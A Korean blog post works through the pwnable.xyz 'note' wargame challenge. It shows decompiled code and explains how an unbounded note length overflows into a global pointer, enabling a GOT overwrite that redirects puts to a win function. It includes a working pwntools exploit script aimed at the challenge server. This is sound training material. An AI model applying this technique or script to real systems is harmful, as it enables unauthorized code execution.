Pwnstar

Pwnable.xyz note 본문

Wargame/pwnable.xyz

Pwnable.xyz note

포너블처돌이 2020. 11. 12. 14:48

어우 진짜 정감 안가는 heap 문제가 나왔다.

보호기법은 카나리와 NX bit만이 걸려있고, 64비트 바이너리이다.

실행시켜보면 메뉴는 종료 이외에 딱 두 개 밖에 더 없다. IDA 디컴파일 코드와 같이 보자.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup(*(_QWORD *)&argc, argv, envp);
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note();
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;
}

edit note와 edit desc인데,

노트의 길이를 입력받고 그 길이만큼 내용을 입력할 수 있다.

void edit_note()
{
  int v0; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ");
  v0 = read_int32();
  buf = malloc(v0);
  printf("note: ");
  read(0, buf, v0);
  strncpy(s, (const char *)buf, v0);
  free(buf);
}

코드를 보면 이후에 strncpy함수로 buf에서 전역변수 s로 복사를 진행한다.

 

 

edit desc 메뉴는 32바이트만큼 문자열을 buf 전역변수에 입력할 수 있다.

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

 

취약점은 edit note 메뉴에서 발생한다. s전역변수 +32의 위치에 buf변수가 존재하는데, edit note 메뉴에서 노트의 길이를 입력하는 부분에 제한이 없다.

 

즉 32바이트를 넘어서 buf에도 입력할 수 있다는 소리다.

마침 got overwrite가 가능하니 32바이트의 dummy를 넣어주고 puts같은 함수의 got를 넣어주고, 마침 또 플래그를 볼 수 있는 win 함수까지 주어지는 환경이니 edit desc 메뉴를 이용해 win함수의 주소를 입력해주면 다음번 puts가 실행될 때 win 함수가 대싱 실행될 것이다.

ex.py

from pwn import*

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30016)

puts_got = 0x601220
win = 0x40093C

p.recvuntil("> ")
p.sendline("1")

p.recvuntil("Note len? ")
p.sendline("41")

p.recvuntil("note: ")
payload = "A"*32
payload += p64(puts_got)

p.sendline(payload)

p.recvuntil("> ")
p.sendline("2")

p.recvuntil("desc: ")
payload = p64(win)

p.sendline(payload)

p.recvuntil("> ")
p.sendline("8")


p.interactive()

 

 

끗!!

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz two_targets  (0) 2020.11.16
pwnable.xyz xor  (0) 2020.11.13
Pwnable.xyz GrownUp  (0) 2020.11.12
Pwnable.xyz misalignment  (0) 2020.11.09
Pwnable.xyz add  (0) 2020.11.09
Comments